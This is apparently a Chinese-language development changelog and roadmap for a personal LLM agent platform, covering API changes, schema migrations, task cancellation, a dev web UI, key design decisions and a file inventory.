- **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 + `/v1/files/download``Cache-Control: no-cache`**:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加"figures/ 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名"四条。
- **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。
### 2026-05-18
- **入口归位:`cli.py`→`main.py`,原 `main.py`→`core/agent_builder.py`,删 CLI REPL,§7 E 撤**:`main.py` 原混三角色按 SoC 拆;`git mv` + 5 处 import 修;CLI 只剩 `db / probe / web / user`。dev SPA 已是 dogfood 主路径,REPL 无 `--remote` 双 transport 维护税。
- **0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status / run_error 入 tasks;路由 run_id → task_id**:单活 run 形态下客户端只需 task_id;broker 全 task_id 索引 + 加 `start(task_id)` 清上轮 done 标记。
- **`POST /v1/files/rename` + 顶层目录 delete 加 task 引用闸**:`/v1/files/*` 升格为唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + running/cancelling 409 + check_no_subtask + UPDATE 先于 FS rename)。
- **task-level cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮**:Broker 加 `request_cancel / is_cancelled / clear_cancel`(per-task `threading.Event` + setdefault);Loop 加 `cancel_check` callable + `_fill_cancelled_tool_results` 补 cancelled tool message;LLM 同步 call 本身不可中断(后接 streaming 修)。
- **`POST /v1/tasks/{id}/messages` 单活 run 锁 + 孤儿 reaper**:同事务 `SELECT FOR UPDATE` + 活跃状态检查 + 标 running 三步原子;lifespan reaper 清进程 crash 留下的 running/cancelling 孤儿。
- **proposal skill 流程图/结构图管线**:`render_diagrams.py` 扫 mermaid 块 → mmdc / mermaid.ink → png;render_docx `add_picture` 识别 `![](...)` 单行 + mermaid 围栏特判;图编号 `ctx['fig_no']` 递增。
- **system prompt skill 机制改"可选辅助"**:第 14 行从"永远 load 一下"改"简单问答/读代码/改 bug 不必硬套 skill";接 GET /v1/skills 下拉。
- **`GET /v1/skills` + dev SPA skill 字段改下拉**:lifespan 启动扫一次挂 `app.state`(FS 静态运行中不变);`<select>` 首项空值,option 文案 `name — description`
- **dev SPA 全套 UI 中文化**:静态 + 动态文案全本地化;技术字段(UUID / token / SSE event 名 / API 字段)不动。
### 2026-05-17
- **0003 schema:name + working_dir + skill 三件套**:任务标识与工作目录解耦;`TRUNCATE tasks CASCADE` + 字段改名 + 加 `name TEXT NOT NULL`;`GET /v1/folders` 给 dev SPA modal datalist。
- **`GET /v1/tasks` 分页 + 多维筛选 + ordering**:`{page,page_size,count,results}` + 6 个 query(status/skill/working_dir/q ILIKE/ordering);allowlist 防注入;默认 `-created_at`
- **task 硬删 API + dev SPA delete 按钮 + 文件 per-row 删**:`DELETE /v1/tasks/{id}` user_id 校验 + DB 行删(messages CASCADE)+ **FS task_dir 不动**(同 name 多 task 共享时 rmtree 易擦素材)。
- **files API 全面 user-rooted(去掉 task_id 前置)**:`_safe_join` 边界改 user_root + dotfile 过滤(`.memory/` 隐藏);dev SPA `loadFiles()` 不再 gate on task_id。
- **files 面板 UX 项目名 + 修 root crumb bug**:`cur_rel == "."` 不追加无意义 "." crumb;crumbs 第一格 label 从 "/" 改项目名。
- **task_dir 改 eager mkdir**:`build_agent` 新建分支 + `create_task``mkdir(parents=True, exist_ok=True)`;name = 项目声明,目录该 task 创建时存在。
- **task = name-based 项目目录 + memory dotfile**:废 UUID 派生 + `tasks/` 中间层;`task_dir = workspace/users/<uid>/<name>/`,同 name 多 task 共享;memory 搬 `.memory/` dotfile;`validate_task_name` 拒 `.` 起头。
### 2026-05-15
- **§7 D 阶段 `/v1` JSON API 落地;Phase G Jinja2/HTMX UI 路线撤**:删 templates + CSS + jinja2/markdown-it-py/pygments 依赖;SSE event 由 HTML 片段切 JSON(`event: <type>` + `data: <JSON>`);dev SPA `web/static/dev.html` 留作本地 dogfood 主路径。
- **§7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA**:pyjwt HS256 + `AuthConfig.from_env()` fail-fast;数据隔离全 `Task.user_id == user_id`,跨 user 视 404;SSE 走 fetch + ReadableStream 手解(EventSource 不支持自定义 header)。
- **task_dir 改相对存储**:DB 存 ROOT 内→相对 posix / ROOT 外→保留绝对;`core/paths.py::{ROOT, to_db_path, from_db_path}` 三出口;alembic 0002 一次 UPDATE backfill。CLAUDE.md 加"开发期不写兼容层"心智。
- **workspace 布局统一 per-user**:`workspace/users/<user_id>/{tasks/<uuid>,memory/}/`;**清旧数据不留兼容**。
- **litellm 启动 cost map 网络警告兜底**:`LITELLM_LOCAL_MODEL_COST_MAP=True` 走本地 cost map,冷启动 ~5s → <1s
- **Phase G G1-G6 Jinja2/HTMX Web UI** _(全撤,被 D + dev SPA 替换;沉淀的 sink / broker / no-subtask / files 安全归一保留)_
### 2026-05-14
- **§7.1 心智模型修正:Folder-centric Task 一等公民 + Dir 文件副视图**:dir 不是 task 父容器,双视图正交;task_dir 留空 = 一次性对话 / 指定 = 项目化。
- **§7 B Steps 1-4 + 6**:`core/storage/{engine,models}.py` SQLAlchemy 2.x ORM(5 )+ alembic + `cli db {upgrade,downgrade,current}`;`state.json` 全废,messages/TaskState PG;`check_no_subtask` user 下查前缀嵌套
### 2026-05-12
- **§7 改写**:platform/core 多租户方案废弃, user-direct(folder-centric task-primary;task/messages PG;no-subtask;hard cascade)。
### 历史(2026-Q1 → 05-11)
- **Phase 1-4**:骨架 / skill / run_python / Model Profile + Probing;ppt v3 加商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI
- **05-06 05-08**:Phase 6 部分(task + state.json + tokens 累计);TUI rich Markdown + spinner 实时耗时;`/resume [last|<id>]` + 懒创建 + `_cleanup_if_empty`
- **05-09 → 05-10**:DESIGN §7 初版(05-12 重写);`cli.py export` + `core/export_docx.py`
- **05-11**:`atomic_write_text` + `core/memory.py`(core.md 入 prompt,extended/* 索引);loop 事件流化 `sink.emit` 铺 SSE 路。
---
## 关键决策与偏差
| 项 | 决策 | 备注 |
|---|---|---|
| 工具基目录 | cwd(读)+ working_dir(写) | system prompt 同时注入两者绝对路径 |
| Workspace 布局 | `workspace/users/<user_id>/{.memory/, <name>/}` | per-user 隔离;memory dotfile 防撞;同 name 多 task 共享 |
| Eval Suite | 不做 | 个人工具 dogfooding |
| 版本化 prompt | 直接 `general_v1.md` | Windows 软链接麻烦,真要切再做 |
| run_python 沙盒 | subprocess + env 过滤 | Docker 在 §7 C 阶段 |
| 兼容层 | 开发期不写 | DB schema / 字段 / API 改动直接切,见 CLAUDE.md |
| `/v1/files/*` 与 DB | files API 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化 | rename / delete 顶层目录 DB-aware |
| 单活 run | task 同时最多 1 个活 run | gate 在 `post_message` 同事务 `SELECT FOR UPDATE` |
| LLM 调用走 streaming | `chat_stream` + `litellm.stream_chunk_builder` 拼回;cancel 在 chunk 间 + tool_call 之间 poll | cancel 延迟 100ms 级;content delta 即时 emit 给前端打字机 |
| 发送/停止单按钮 | UI 按 `state.streaming` 切态;streaming 期间 Enter 不触发停止 | 防误触 |
---
## 文件清单
```
core/capabilities.py 71
core/llm.py 151 ← litellm 离线 cost map env + chat_stream(stream=True + include_usage)
core/loop.py 268 ← §7 A sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)
core/sinks.py 101 ← §7 A
core/ui.py 38
core/paths.py 50 ← task_dir db form 归一
core/probe.py 243
core/session.py 153 ← §7 B Step 2-3: ORM
core/skills.py 81
core/task.py 82 ← §7 B Step 3: PG-backed TaskState
core/memory.py 81 ← per-user `.memory/` dotfile
core/export_docx.py 383
core/storage/__init__.py 29
core/storage/engine.py 80
core/storage/models.py 130 ← 4 表(0004 删 runs;0005 email UNIQUE;0006 usage_events v2 + messages.model_profile;0007 cost_usd→cny)
core/storage/usage.py 125 ← record_chat_usage(USD→CNY ×7.2)+ record_image_usage(单价 snapshot 进 units)
core/storage/utils.py 136
core/ark_client.py 105 ← 火山方舟 HTTP 客户端(seedream / 后续 seedance 共享)
core/agent_builder.py 325 ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool)
tools/{base,fs,shell,run_python,skill_tool,seedream}.py ~640 行
main.py ~210 ← 入口:web / db / probe / user
db/migrations/env.py 61
db/migrations/versions/
0001_initial_schema.py 125
0002_task_dir_relative.py 61
0003_task_name_and_working_dir.py 51
0004_drop_runs_usage_events.py 77
0005_users_email_unique.py 28
0006_usage_events_v2_and_message_model.py 60
0007_cost_usd_to_cny.py 40
web/__init__.py 5
web/app.py ~1320 ← /v1 JSON API + user_id 隔离 + run lock + cancel + files copy/move
web/auth.py ~190 ← 邮箱密码 + platform_key → JWT
web/broker.py 121 ← in-process pub/sub + cancel signal(全 task_id 索引)
web/sinks.py 21
web/static/dev.html ~2480 ← dev SPA(3 栏 + 文件预览 + 双 tab 登录 + 选入弹框 + 发送/停止单按钮 + 流式打字机)
web/static/vendor/ ~1 MB ← jszip / docx-preview / xlsx
─────────────────────────────────
Python 合计 ~3400 行(+ dev.html 1700 静态 + vendor 1MB)
```
`skills/ppt|proposal|coding|research/` 脚本 ~700 行 + SKILL.md / references / config / prompts(含 `config/media/doubao.yaml`)+ alembic.ini,总仓库约 3800 行。
---
## 下一步候选(性价比排序)
1. **真 OIDC 接入 + CORS 收紧**(~1 天)—— `/v1/auth/login` 内部换 OIDC ID token 校验(路由层 Depends 不动);CORS 改 platform 域名 allowlist。**真发布给真实用户前必做**。
2. **§7 C Executor + sandbox**(~2-3 天)—— `run_python`/`shell` → `Executor.run(...)`,本地保留 subprocess、SaaS 走 docker;`api_key_env` → `KeyProvider` 运行时注入。多用户在线跑代码前置。
3. **Phase 6 context 三层压缩**(~1 天)—— 兜底,V4 长上下文一般用不到。
> §7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 主体已完工。剩余:真 OIDC → C(Executor)→ F(deploy / billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。